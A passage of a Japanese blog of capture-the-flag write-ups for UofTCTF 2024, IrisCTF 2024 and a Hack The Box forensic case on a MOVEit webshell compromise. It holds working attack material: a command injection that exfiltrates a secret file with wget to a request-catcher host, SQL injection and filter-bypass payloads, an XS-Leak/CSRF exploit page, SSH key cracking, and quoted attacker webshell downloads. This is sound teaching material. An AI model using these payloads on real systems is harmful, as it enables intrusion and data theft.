はまやんはまやんはまやん

hamayanhamayan's blog

UofTCTF 2024 Writeups

[Forensics] Secret Message 1

We swiped a top-secret file from the vaults of a very secret organization, but all the juicy details are craftily concealed. Can you help me uncover them?
Author: SteakEnthusiast

secret.pdfというファイルが与えられる。
実際に開いてみると黒塗りの部分があったので、pdf2txt.pyでテキスト持ってきてみた。
フラグが得られる。

$ pdf2txt.py secret.pdf 
WARNING:pdfminer.pdfpage:The PDF <_io.BufferedReader name='secret.pdf'> contains a metadata field indicating that it should not allow text extraction. Ignoring this field and proceeding. Use the check_extractable if you want to raise an error in this case
Confidential DocumentTRANSCRIPT: A Very Private ConversationPerson 1: "So, have you reviewed the latest security measures?"Person 2: "I have. The team's done a thorough job this time."Person 1: "Especially after the last breach, we couldn't take any chances."Person 2: "Absolutely. The new encryption protocols should prevent similar incidents."Person 1: "What about the insider threat? Any measures against that?"Person 2: "Yes, they've implemented strict access controls and regular audits."Person 1: "Good to hear. By the way, how's the CTF challenge coming along?"Person 2: "Oh, it's going great. We've got some tricky puzzles this time."Person 1: "Just make sure the flag is well-protected. We don't want a repeat of last time."Person 2: "Definitely not. The flag 'uoftctf{■■■■■■■■■■■■■■■■■■■■■■■■■■■}' is securelyembedded."Person 1: "Great. But remember, that's between us."Person 2: "Of course. Confidentiality is key in these matters."Person 1: "Alright, I trust your discretion. Let's keep it under wraps."Person 2: "Agreed. We'll debrief the team about general security, but specifics stay with us."Person 1: "Sounds like a plan. Let's meet next week for another update."Person 2: "Will do. Take care until then."

[Misc] Out of the Bucket

Check out my flag website!
Author: windex

https://storage.googleapis.com/out-of-the-bucket/に行ってみるとディレクトリリスティングされてくる。
`https://storage.googleapis.com/out-of-the-bucket/secret/dont_showに行くとフラグが書いてある。

[web] Guestbook

I made this cool guestbook for the CTF. Please sign it.
Author: Ido

index.htmlが配布されていて、URLは無い。
中身を見るとGoogleのGASと通信している。
sheetidが得られる sheetId=1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ
Google Spreadsheetで開いてみるとReadonlyで見れた。
https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ/edit
UofTCTF{n1c3try_Bu1_k33p_g0in9}ということでここがゴールではないようだ。

「データ > シートと範囲を保護」を見てみると保護されている領域があるみたい。
外部から読み取ることで見てみよう。
新しいGoogle Spreadsheetを作成して、以下のようにやって読み込む。
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ/edit","raw!A1:ZZ100")
すると、フラグが出てくる。

[web] No Code

I made a web app that lets you run any code you want. Just kidding!
Author: SteakEnthusiast

app.pyが配布されている。
pyjailっぽい問題。

if re.match(".*[\x20-\x7E]+.*", code):
    return jsonify({"output": "jk lmao no code"}), 403

以上の正規表現にマッチすると動かない。
[\x20-\x7E]は印字可能文字全てなのでちょっときつい。
色々試すと改行でbypassできた。

code=%0d%0a__import__('os').listdir(path%3d'.')とすると
{"output":["app.py","requirements.txt","flag.txt"]}と来た。
ok.
code=%0d%0aopen('flag.txt').read()でフラグ獲得。

[web The Varsity

Come read our newspaper! Be sure to subscribe if you want access to the entire catalogue, including the latest issue.
Author: SteakEnthusiast

ソースコード
issueの閲覧サイト。フラグの書かれているNo.9のissueを見るにはpremium登録をする必要があるが、登録には秘密のバウチャーを持っている必要があった。
JWTが使われていたのでJWTの偽装かと思ったが、そちらは攻撃ができず、以下のpremiumの確認手順のロジックバグを突くのが正答だった。
以下のようにチェックが行われている。

let issue = req.body.issue;

if (req.body.issue < 0) {
return res.status(400).json({ message: "Invalid issue number" });
}

if (decoded.subscription !== "premium" && issue >= 9) {
return res
    .status(403)
    .json({ message: "Please subscribe to access this issue" });
}

issue = parseInt(issue);

if (Number.isNaN(issue) || issue > articles.length - 1) {
return res.status(400).json({ message: "Invalid issue number" });
}

return res.json(articles[issue]);

decoded.subscription !== "premium"は偽装できないのでtrueとなるので、何とかしてissueの判定を潜り抜けて最終的にreturnでissue=9になっている必要がある。
重要な部分がissue = parseInt(issue);の位置で、一部のバリデーションをした後に値が変更されている。
いつものバリデーションしたけど無駄になりましたパターン。
parseIntされているということは元々は文字列なので、文字列の状態で0 <= issue && issue < 9がtrueになるが、parseIntを通すと9になる入力を探せばいい。
で、実験しながら適当に試すと、9.-1で条件を満たすことができた。
正直理由はさっぱり分からないが{"issue":"9.-1"}とするとフラグが得られる。

[web] Voice Changer

I made a cool app that changes your voice.
Author: Ido

ソースコード無し。
録音データをアップロードできるサイトが与えられる。
アップロード時に以下のようなbodyでPOSTリクエストが走る。

------WebKitFormBoundaryo1AplHjo8AAgnPJH
Content-Disposition: form-data; name="pitch"

1
------WebKitFormBoundaryo1AplHjo8AAgnPJH
Content-Disposition: form-data; name="input-file"; filename="recording.ogg"
Content-Type: audio/ogg

EߣBB÷BòBóBwebmBB

で、応答として、ffmpegのコマンドとその出力が与えられる。
コマンドインジェクション感があるので、実験すると、pitchの方でコマンドインジェクションできそうなことが分かる。
試しに`sleep 3`を入れてみるとスリープが入った。ok.

出力はもらえなさそうなので、別の方法で結果を得ることにする。

`wget https://[yours].requestcatcher.com/test`

wgetでリクエストが確認できた。ok.以下でファイルを持って来ることもできる。

`wget https://[yours].requestcatcher.com/test --post-file=index.js`

以下でフラグ獲得

`cat /secret.txt | wget https://sfdjfi23fksadfji23r.requestcatcher.com/test --post-file=-`

IrisCTF 2024 Writeup

CTFtime.org / IrisCTF 2024

[Web Exploitation] What's My Password?

[baby] Oh no! Skat forgot their password (again)!
Can you help them find it?

以下のようにDBにフラグが入っている。

CREATE TABLE IF NOT EXISTS users ( username text, password text );
INSERT INTO users ( username, password ) VALUES ( "root", "IamAvEryC0olRootUsr");
INSERT INTO users ( username, password ) VALUES ( "skat", "fakeflg{fake_flag}");
INSERT INTO users ( username, password ) VALUES ( "coded", "ilovegolang42");

ソースコードを読むとSQL Injectionができる所がある。

qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND password = \"%s\"", input.Username, input.Password)

これにうまく合うようにいつもの感じでpayloadを送る。
{"username":"aaa","password":"\" OR \"\"=\""}を送ると
SQL文は SELECT * FROM users WHERE username = "aaa" AND password = "" OR ""=""となるので{"username":"root","password":"IamAvEryC0olRootUsr"}が帰ってくる。
ok

フラグを持っているのはskatユーザーなので {"username":"aaa","password":"\" OR username = \"skat"} を送るとフラグが得られる。

[Web Exploitation] LameNote

Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}
Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)

THIRD BLOOD!

Noteを投稿できるサイトが与えられる。投稿したNoteは自分のみ閲覧可能。
irisctf{[a-z_]+}のようにフラグの文字制限がある。
ソースコードを巡回すると、検索機能があるのでXS-Leaksの可能性から考えていく。
CSPが結構厳しく、外部に通信できそうなのはimg-srcくらいしかない。
imgの通信の有無で判定か…と考えていくと解法が見つかった。

まずはbotの動きを見てみる。

const context = await browser.createIncognitoBrowserContext();
const page = await context.newPage();
await page.goto("https://lamenote-web.chal.irisc.tf/");
const frameWrapper = await page.waitForSelector('iframe');
const frame = await frameWrapper.contentFrame();
await frame.type('input[name=title]', 'Flag');
await frame.type('input[name=text]', 'irisctf{FAKEFLAGFAKEFLAG}');
await frame.type('input[name=image]', 'https://i.imgur.com/dQJOyoO.png');
await frame.click('form[method=post] button[type=submit]');
await page.waitForTimeout(1000);
await frameWrapper.dispose();

このようにサイトを開き、flagを含んだNoteを投稿する。その後、与えられたURLを開いて60秒待つという構成になっている。
60秒という時間もXS-Leaks感が出ている。

注目すべきは以下にあるGET /searchエンドポイント。

@app.route("/search")
@check_request
def search():
    query = request.args.get("query", "")
    user = request.cookies.get("user", None)
    results = []
    notes_copy = copy.deepcopy(NOTES)
    for note in notes_copy.values():
        if note["owner"] == user and (query in note["title"] or query in note["text"]):
            results.append(note)
            if len(results) >= 5:
                break

    if len(results) == 0:
        return "<!DOCTYPE html><body>No notes.</body>"

    if len(results) == 1:
        return render_note(results[0])
    
    return "<!DOCTYPE html><body>" + "".join("<a href='/note/" + note["id"] + "'>" + note["title"] + "</a> " for note in results) + "</body>"

見ると、flagが入っているtextフィールドに対してキーワード検索ができるようになっている。
なので、うまく調整して、flagのprefixを入力して一致したときと一致しなかったときの挙動の違いを生み出せば良い。
ここで色々考えると1つアイデアが出て、それが正答につながった。
答えから言ってしまうと、キーワード検索に一致する項目が1つか2つ以上にした場合の挙動の違いを利用してXS-Leaksする。

一致する項目が1つであれば return render_note(results[0]) が実行されるし、
2つ以上であれば return "<!DOCTYPE html><body>" + "".join("<a href='/note/" + note["id"] + "'>" + note["title"] + "</a> " for note in results) + "</body>" が実行される。
ここで、CSPでimgタグの中身のみ外部通信が許可されていることを考慮してみると、render_noteで表示する方にはimgタグが含まれるため、imgタグによる通信が発生するし、2つ以上であればimgタグは含まれないのでimgタグによる通信が発生しなくなる。
これは使えそうな、外部から観測できる違いになる。

botがフラグをNoteで投稿した直後では、フラグの正しいprefixを入力すると一致する項目が1つで、間違ったprefixを入力すると一致する項目が0個になる。
この時も挙動は異なるが、任意のimgタグは差し込めないので観測することができない。
では、この時、可能性のあるprefixをimgタグで判別できるようにすべて入力していたらどうだろうか。
具体的にはirisctf{が既知であるときに
textがirisctf{aでimgのURLをhttps://[yours].requestcatcher.com/irisctf{aであるNote、
textがirisctf{bでimgのURLをhttps://[yours].requestcatcher.com/irisctf{bであるNote、
textがirisctf{cでimgのURLをhttps://[yours].requestcatcher.com/irisctf{cであるNote、
...
を投稿しておいた場合である。
こうすると、フラグの正しいprefixを入力すると一致する項目が2つで、間違ったprefixを入力すると一致する項目が1個になる。
このとき、間違ったprefixを入力したときには一致する項目が1個なので、imgタグ込みで表示されることになり、この時にrequestcatcherがリクエストを受け取ることができる。
だが、正しいprefixを入力したときは一致する項目が2個になるので、登録したrequestcatcherのURLはimgタグとして表示されず、リクエストが飛ばない。
この違いを利用する。
よって、[a-z]の全通りのNoteを登録して、[a-z]の全通りのprefixで検索をしてみて、リクエストが飛んでこなかったものが正しいprefixということになる。

ここまでの概念を理解していれば後は実装するだけ。以下のようなコードで実装した。

<body>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    const prefix = "irisctf{please_";
    const chars = "abcdefghijklmnopqrstuvwxyz_";
    setTimeout(async () => {
        for (var i in chars) {
            form.title.value = prefix + chars[i];
            form.text.value = prefix + chars[i];
            form.image.value = "https://[yours].requestcatcher.com/" + prefix + chars[i];
            form.submit();
            await sleep(500);
        }
        for (var i in chars) {
            form2.query.value = prefix + chars[i];
            form2.submit();
            await sleep(500);
        }
    }, 0);
</script>
<img src="https://[yours].requestcatcher.com/start">
<iframe name="dummyFrame" id="dummyFrame"></iframe>
<form method="POST" target="dummyFrame" id="form" action="https://lamenote-web.chal.irisc.tf/create">
    <input name="title">
    <input name="text">
    <input name="image">
</form>
<form method="GET" target="dummyFrame" id="form2" action="https://lamenote-web.chal.irisc.tf/search">
    <input name="query">
</form>
</body>

CSRF対策は特にないため、POSTリクエストを使うことでNoteの登録を強制させることができる。
だが、どれも@check_requestというのが付いていてiframeから実行させる必要があるため、iframeを用意して、formのtargetでiframeに表示させている。
それ以外は特に特筆すべきところはなく、formを使ってPOSTとGETでCSRFをする形を取っている。
上記のコードではirisctf{please_までが既知の状態の攻撃コードである。
これを実行させると最初のforループで[a-z]の全通りを付けたprefixのNoteを登録していて、
次のforループで[a-z
]の全通りを付けたprefixで検索をしてみている。
これを動かしながらrequestcatcherを見てみると、irisctf{please_aからirisctf{please__までのリクエストが登録時に来て、
次にirisctf{please_aからirisctf{please__までのprefixが一致しないものが帰ってくる。
後者のリクエスト群の中に正答である irisctf{please_n が含まれて来ないことが動かしてみると分かる。

自分はここまで自動化して、あとは目視で欠落している文字を探して1文字ずつ動かしながら特定していった。

[Forensics] Not Just Media

I downloaded a video from the internet, but I think I got the wrong subtitles.
Note: The flag is all lowercase.

chal.mkvという動画ファイルが与えられる。
video - Extracting Subtitles from mkv file - Super Userを参考にffmpegで字幕を持って来た。

我們歡迎您接受一生中最大的挑戰,即嘗試理解這段文字的含義

とある。日本語では「この文章の意味を理解しようとする、人生最大の挑戦を歓迎する!」らしい。
同じページで紹介されているMKVCleaverを使ってみると、添付ファイルが含まれていた。
必要な外部依存バイナリも入れて抜き出してみると、中国語のフォントに加えて、FakeFont_0.ttfというファイルも含まれていた。
FontForgeで開いて巡回すると、中国語の一部の文字にアルファベットがフォントとして登録されているのに気が付く。
そういうことねということで、FakeFont_0.ttfをインストールして、メモ帳に上の字幕を入れてフォントをFakeFontに切り替えるとフラグが出てくる。

[Forensics] skat's SD Card

"Do I love being manager? I love my kids. I love real estate. I love ceramics. I love chocolate. I love computers. I love trains."

SDカードのイメージが与えられる。とりあえずFTK Imagerで開くとraspberrypiだった。
/home/skat以外は特に面白くなさそうだったので、とりあえずこのフォルダを重点的に見る。

/home/skat/.bash_historyにgit clone履歴があった。
git clone git@github.com:IrisSec/skats-interesting-things.git
/home/skat/.ssh/id_rsaも取れているのでレポジトリを取得することができそう。
実際にやってみると、id_rsaにはパスワードがかかっていた。

id_rsaのパスワードを辞書攻撃で破る。
教科書通りやる。

$ /usr/share/john/ssh2john.py home_skat/skat/.ssh/id_rsa > h

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (home_skat/skat/.ssh/id_rsa)     
1g 0:00:00:03 DONE (2024-01-06 22:09) 0.3030g/s 19.39p/s 19.39c/s 19.39C/s 123456..charlie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

passwordだったので、これを使ってレポジトリをcloneすることができた。
いつものように過去コミットに面白い情報が無いかgit log -pで見てみると、フラグが消されていて、提出すると答えだった。

[Networks] skat's Network History

"I love cats."
Note: this challenge is a continuation to Forensics/skat's SD Card. You are dealing with the same scenario. skats-sd-card.tar.gz is the same file from that challenge (SHA-1: 4cd743d125b5d27c1b284f89e299422af1c37ffc).

前問であるskat's SD CardではSDカードのイメージファイルだけだったが、
追加でネットワークキャプチャのcapファイルと、sslkeyfileが与えられる。

とりあえず開いてみると暗号化された無線通信が取得されている。
登録済みパスワードがディスクダンプの/etc/らへんから取れた気が…と思って探すとある。
/etc/NetworkManager/system-connections/skatnet.nmconnectionに書いてある。

[wifi-security]
auth-alg=open
key-mgmt=wpa-psk
psk=agdifbe7dv1iruf7ei2v5op

念のためAircrack-ngでこのpskに書かれたパスワードで試すとクラック成功する。
クラックできたら、設定 -> IEEE 802.11 -> Decryption keysのedit -> wpa-pwdにして入力すると、通信が復号化される。
sslkeyfileも設定 -> TLSから適用しておこう。

DNSを見てみるとNo.6122,6140でpastebin.comが名前解決されていていかにも怪しい。
周辺を調べると、No.6197にフラグが書いてあった。

[Networks] Copper Selachimorpha

Joe Schmoe was using his mobile hotspot and downloading some files. Can you intercept his communications?
Hint! Think very deeply about the premise of the challenge. You need to do a lot of analysis to recover the rest of the flag.

暗号化された無線通信が書いてある。
パスワードが分からないことにはな…と思いながらaircrack-ngとrockyou.txtで探すと見つかる。

      [00:01:57] 894908/14344392 keys tested (7729.15 k/s)

      Time left: 29 minutes, 0 seconds                           6.24%

                          KEY FOUND! [ humus12345 ]


      Master Key     : 26 C8 6B 47 25 1E 06 AF 93 FB 5D D8 65 31 C8 F6
                       63 DE FA 79 40 DF 81 CB 87 0A 9C 3D 1E 49 24 FD

      Transient Key  : 29 E7 72 00 5A C8 40 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

      EAPOL HMAC     : 37 CC 99 33 10 76 AC 0C D2 11 96 09 E4 8F 22 57

FTP通信を見ると、パスワードにフラグの一部が書いてある。

220 (vsFTPd 3.0.3)
USER joeschmoe
331 Please specify the password.
PASS irisctf{welc0me_t0_th3_n3twork_c4teg
230 Login successful.

ftp通信のファイルを見ると3つのよく似たファイルがダウンロードできる。
バイナリで比較してみると微妙にかぶっていたり、違っていたりする。
多分差分をうまくマージして元のファイルを復元するんだろうが…
きついーと言いながらマージのツールを書く。
バイナリの各バイトの先頭から共通しているかを確認して、
2つ以上共通していればうまく取れているとして採用する。
3すくみの状態になったら、各バイトの先頭10バイトが他のファイルに無いかを確認して、
より可能性が高い方を選択するようにした。
beautiful_fish_0.png, beautiful_fish_1.png, beautiful_fish_2.png
3ファイルを保存しておいて、以下のコードでゴリゴリマージするとフラグが出てきた。

png_bytes = []
for i in range(3):
    with open(f"beautiful_fish_{i}.png","rb") as fp:
        png_bytes.append(fp.read())

with open(f"out.png","wb") as fp:
    while True:
        while 1 <= len(png_bytes) and len(png_bytes[0]) == 0:
            png_bytes = png_bytes[1:]
        while 2 <= len(png_bytes) and len(png_bytes[1]) == 0:
            if len(png_bytes) == 2:
                png_bytes = [png_bytes[0]]
            else:
                png_bytes = [png_bytes[0], png_bytes[2]]
        while 3 <= len(png_bytes) and len(png_bytes[2]) == 0:
            png_bytes = png_bytes[:-1]
        
        if len(png_bytes) == 0:
            break

        if len(png_bytes) == 1:
            print('My assumption is wrong... 1')
            exit(1)
        
        if len(png_bytes) == 2:
            if png_bytes[0][0] == png_bytes[1][0]:
                fp.write(png_bytes[0][0].to_bytes(1, 'big'))
                png_bytes[0] = png_bytes[0][1:]
                png_bytes[1] = png_bytes[1][1:]
                continue
            else:
                print('My assumption is wrong... 2')
                exit(2)
        
        # len(png_bytes) == 3
        if (png_bytes[0][0] == png_bytes[1][0]) and (png_bytes[2][0] == png_bytes[1][0]):
            fp.write(png_bytes[0][0].to_bytes(1, 'big'))
            png_bytes[0] = png_bytes[0][1:]
            png_bytes[1] = png_bytes[1][1:]
            png_bytes[2] = png_bytes[2][1:]
        elif png_bytes[0][0] == png_bytes[1][0]:
            fp.write(png_bytes[0][0].to_bytes(1, 'big'))
            png_bytes[0] = png_bytes[0][1:]
            png_bytes[1] = png_bytes[1][1:]
        elif png_bytes[0][0] == png_bytes[2][0]:
            fp.write(png_bytes[0][0].to_bytes(1, 'big'))
            png_bytes[0] = png_bytes[0][1:]
            png_bytes[2] = png_bytes[2][1:]
        elif png_bytes[1][0] == png_bytes[2][0]:
            fp.write(png_bytes[1][0].to_bytes(1, 'big'))
            png_bytes[1] = png_bytes[1][1:]
            png_bytes[2] = png_bytes[2][1:]
        else:
            idx01 = png_bytes[1].find(png_bytes[0][:10])
            idx02 = png_bytes[2].find(png_bytes[0][:10])
            if 0 <= idx01 or 0 <= idx02:
                if idx02 < idx01:
                    fp.write(png_bytes[1][0].to_bytes(1, 'big'))
                    png_bytes[1] = png_bytes[1][1:]
                    continue
                else:
                    fp.write(png_bytes[2][0].to_bytes(1, 'big'))
                    png_bytes[2] = png_bytes[2][1:]
                    continue

            idx10 = png_bytes[0].find(png_bytes[1][:10])
            idx12 = png_bytes[2].find(png_bytes[1][:10])
            if 0 <= idx10 or 0 <= idx12:
                if idx12 < idx10:
                    fp.write(png_bytes[0][0].to_bytes(1, 'big'))
                    png_bytes[0] = png_bytes[0][1:]
                    continue
                else:
                    fp.write(png_bytes[2][0].to_bytes(1, 'big'))
                    png_bytes[2] = png_bytes[2][1:]
                    continue

            idx20 = png_bytes[0].find(png_bytes[2][:10])
            idx21 = png_bytes[1].find(png_bytes[2][:10])
            if 0 <= idx21 or 0 <= idx20:
                if idx20 < idx21:
                    fp.write(png_bytes[1][0].to_bytes(1, 'big'))
                    png_bytes[1] = png_bytes[1][1:]
                    continue
                else:
                    fp.write(png_bytes[0][0].to_bytes(1, 'big'))
                    png_bytes[0] = png_bytes[0][1:]
                    continue
            
            print('My assumption is wrong... 3')
            exit(3)

[Reverse Engineering] The Johnson's

Please socialize with the Johnson's and get off your phone. You might be quizzed on it!

解凍ファイルを確認する。

$ file *
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f9dc64e1f81cfd02193274da700f1de05742fd83, for GNU/Linux 3.2.0, not stripped

ghidraで中身を見てみるとcheck関数で以下の条件がすべてtrueならフラグがもらえる。

chosenFoods.James != 2
chosenFoods.William != 2
chosenFoods.William != 3
chosenFoods.Alice == 4

chosenColors.Emma != 1
chosenColors.Alice != 3
chosenColors.Emma != 3
chosenColors.William == 2
chosenColors.James != 4

という訳でパターンを作る

chosenColors.Alice 1 red
chosenColors.Emma 4 yellow
chosenColors.James 3 green
chosenColors.William 2 blue

chosenFoods.Alice 4 chicken
chosenFoods.Emma 2 pasta
chosenFoods.James 3 steak
chosenFoods.William 1 pizza

数字と文字の対応はmain関数を見れば分かる。
これをnetcatの窓口に報告すればフラグがもらえる。

[Reverse Engineering] Rune? What's that?

Rune? Like the ancient alphabet?

golangrune関数を使ってフラグの文字列が難読化されている。
文字が一対一対応のように変換されていて変換ルーチンもわかっているので先頭から1文字ずつ
総当たりでprefixが一致するように探していこう。
コードを流用しつつ、以下のように1文字ずつ特定するコードを書いた。

package main

import (
    "fmt"
    "os"
    "strings"
    "io/ioutil"
    "bytes"
)

func gen(payload string) {
    runed := []string{}
    z := rune(0)

    for _, v := range payload {
        runed = append(runed, string(v+z))
        z = v
    }

    payload = strings.Join(runed, "")

    file, err := os.OpenFile("the2", os.O_RDWR | os.O_CREATE, 0644)
    if err != nil {
        fmt.Println(err)
        return
    }

    defer file.Close()
    if _, err := file.Write([]byte(payload)); err != nil {
        fmt.Println(err)
        return
    }
}

func check() bool {
    b1, _ := ioutil.ReadFile("the")
    b2, _ := ioutil.ReadFile("the2")
    return bytes.HasPrefix(b1, b2)
}

func main() {
    flag := "irisctf{i_r3411y"
    for i := 0; i < 256; i++ {
        gen(flag + string(i))
        if check() {
            fmt.Println(flag + string(i))
        }
    }
}

Hack The Box Sherlocks - i-like-to Writeup

https://app.hackthebox.com/sherlocks/i-like-to
Hack The Box Sherlocksとは

Sherlock Scenario

We have unfortunately been hiding under a rock and did not see the many news articles referencing the recent MOVEit CVE being exploited in the wild. We believe our Windows server may be vulnerable and has recently fallen victim to this compromise. We need to understand this exploit in a bit more detail and confirm the actions of the attacker & retrieve some details so we can implement them into our SOC environment. We have provided you with a triage of all the necessary artifacts from our compromised Windows server. PS: One of the artifacts is a memory dump, but we forgot to include the vmss file. You might have to go back to basics here...
残念ながら、私たちは岩の下に隠れていたため、実際に悪用されている最近の MOVEit CVE に言及する多くのニュース記事を目にすることができませんでした。当社では、当社の Windows サーバーに脆弱性がある可能性があり、最近この侵害の被害に遭ったと考えています。このエクスプロイトをもう少し詳しく理解し、攻撃者の行動を確認し、SOC 環境に実装できるように詳細を取得する必要があります。侵害された Windows サーバーから必要なすべてのアーティファクトを優先順位付けして提供しました。PS: アーティファクトの 1 つはメモリ ダンプですが、vmss ファイルを含めるのを忘れていました。ここで基本に立ち返る必要があるかもしれません...

メモリダンプとファストフォレンジックダンプが与えられる。

Task 1

Name of the ASPX webshell uploaded by the attacker?
攻撃者がアップロードした ASPX Web シェルの名前は?

ASPX webshellとのことなので、C:\inetpubを見てみるがwwwrootはない。
セオリー通りイベントログを漁るのに、hayabusaを使って.aspxでキーワード検索したがそれっぽいものはない。
解凍したファイル全体で.aspxを検索してみると
Triage\uploads\auto\C%3A\Users\moveitsvc.WIN-LR8T2EF8VHM.002\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtで興味深いログがあった。

cd C:\inetpub\wwwroot
wget http://10.255.254.3:9001/moveit.asp
dir
wget http://10.255.254.3:9001/moveit.asp -OutFile moveit.asp
dir
cd C:\MOVEitTransfer\wwwroot
wget http://10.255.254.3:9001/move.aspx -OutFile move.aspx

これですね。move.aspxが答え。

Task 2

What was the attacker's IP address?
攻撃者の IP アドレスは何でしたか?

Task 1を見ると分かる。10.255.254.3

Task 3

What user agent was used to perform the initial attack?
最初の攻撃の実行にはどのユーザー エージェントが使用されましたか?

Task 2で得たIOC10.255.254.3を使って検索してみる。
Triage\uploads\auto\C%3A\inetpub\logs\LogFiles\W3SVC2\u_ex230712.logにいい感じにアクセスログが残っていた。

2023-07-12 10:08:39 10.10.0.25 OPTIONS / - 80 - 10.255.254.3 - - 200 0 64 5375
2023-07-12 10:08:39 10.10.0.25 GET / - 80 - 10.255.254.3 - - 302 0 64 11023
2023-07-12 10:08:41 10.10.0.25 OPTIONS / - 443 - 10.255.254.3 - - 200 0 0 118
2023-07-12 10:08:41 10.10.0.25 GET / - 443 - 10.255.254.3 - - 200 0 64 5649
2023-07-12 10:11:15 10.10.0.25 OPTIONS / - 80 - 10.255.254.3 Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html) - 200 0 0 101
2023-07-12 10:11:15 10.10.0.25 GET /nmaplowercheck1689156596 - 80 - 10.255.254.3 Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html) - 404 0 2 128
2023-07-12 10:11:15 10.10.0.25 GET / - 80 - 10.255.254.3 Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html) - 302 0 0 135
...

2023-07-12 10:08:39が最初のコンタクトで、nmapを使ったスキャン行為が続いている。
nmapかと思ったがplaceholderに合わない。(後で分かるがTask 7でここは聞かれている)
プレースホルダーを考慮しながら読み進めるとRubyが答えだった。
攻撃が成功した段階のことを問うていたみたい。

Task 4

When was the ASPX webshell uploaded by the attacker?
ASPX Webシェルが攻撃者によってアップロードされたのはいつですか?

ファイル操作なので$MFTの解析をしてみよう。
ZimmermanToolsのMFTECmdでTriage\uploads\ntfs\%5C%5C.%5CC%3A\$MFTを変換して中を見てみよう。

PS> ZimmermanTools\MFTECmd.exe -f '.\Triage\uploads\ntfs\%5C%5C.%5CC%3A\$MFT' --csv mft.csv

みたいに変換して、

$ cat 20240107162638_MFTECmd_\$MFT_Output.csv | grep move.aspx
1293,31,True,274233,9,.\MOVEitTransfer\wwwroot,move.aspx,.aspx,1400,1,,False,False,False,False,False,False,Archive,Windows,2023-07-12 11:24:30.4297594,,2023-07-12 11:24:30.4610703,2023-07-12 11:24:30.4297594,2023-07-12 11:24:30.4610703,2023-07-12 11:24:30.4297594,2023-07-12 11:24:30.4610703,2023-07-12 11:24:30.4297594,1808772160,609836657,1248,,,
273810,17,True,276846,4,.\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\9a11d1d0\5debd404,move.aspx.cdcab7d2.compiled,.compiled,294,1,,False,False,False,False,False,False,Archive,Windows,2023-07-12 11:24:43.3828834,,2023-07-12 11:24:43.3828834,,2023-07-12 11:24:43.3828834,,2023-07-12 11:24:43.3828834,,1808776424,609859181,1287,,, 

csvの最初は
EntryNumber,SequenceNumber,InUse,ParentEntryNumber,ParentSequenceNumber,ParentPath,FileName,Extension,FileSize,ReferenceCount,ReparseTarget,IsDirectory,HasAds,IsAds,SI<FN,uSecZeros,,Copied,SiFlags,NameType,Created0x10,Created0x30,LastModified0x10,LastModified0x30,LastRecordChange0x10,LastRecordChange0x30,LastAccess0x10,LastAccess0x30,UpdateSequenceNumber,LogfileSequenceNumber,SecurityId,ObjectIdFileDroid,LoggedUtilStream,ZoneIdContents

最初のエントリをみると、.\MOVEitTransfer\wwwroot\move.aspxについて
Createdが2023-07-12 11:24:30とある。
よって12/07/2023 11:24:30が正答。

Task 5

The attacker uploaded an ASP webshell which didn't work, what is its filesize in bytes?
攻撃者は ASP WebShell をアップロードしましたが、機能しませんでした。そのファイルサイズはバイト単位でどれくらいですか?

Task 4と同じ所で見ることができると思ったが、FileSizeは1400と書いてある。
んーと思って試しにTask 1で得たファイル名 moveit.asp で検索してみると
placeholderと同じ2で終わるFileSizeが得られた。

$ cat 20240107162638_MFTECmd_\$MFT_Output.csv | grep moveit.asp
100896,6,True,274233,9,.\MOVEitTransfer\wwwroot,moveit.asp,.asp,1362,1,,False,False,False,False,False,True,Archive,DosWindows,2023-07-12 11:19:37.3316397,,2023-07-12 11:17:12.7120642,2023-07-12 11:19:37.3316397,2023-07-12 11:17:12.7120642,2023-07-12 11:19:37.3316397,2023-07-12 11:19:37.3316397,,1808725272,609575211,1936,,,
273729,50,True,265340,5,.\inetpub\wwwroot,moveit.asp,.asp,1362,1,,False,False,False,False,False,False,Archive,DosWindows,2023-07-12 11:17:12.6808372,,2023-07-12 11:17:12.7120642,2023-07-12 11:17:12.6808372,2023-07-12 11:17:12.7120642,2023-07-12 11:17:12.6808372,2023-07-12 11:17:12.7120642,2023-07-12 11:17:12.6808372,1808710920,609432138,1935,,,

1362を出すと正答だった。よく分からない。

Task 7

Which tool did the attacker use to initially enumerate the vulnerable server?
攻撃者は最初に脆弱なサーバーを列挙するためにどのツールを使用しましたか?

Task 3よりnmapが答え。

Task 8

We suspect the attacker may have changed the password for our service account. Please confirm the time this occurred (UTC)
攻撃者がサービス アカウントのパスワードを変更した可能性があると考えられます。これが発生した時刻 (UTC) を確認してください。

サービスアカウント?ということで後回しにしていると、Task 9でやったhayabusaを使ったキーワード検索にそれっぽいユーザー名が見えてくる。
MOVER\moveitsvc svc終わりなので、サービスアカウントっぽい。
moveitsvcでhayabusaを使ってキーワード検索してみよう。
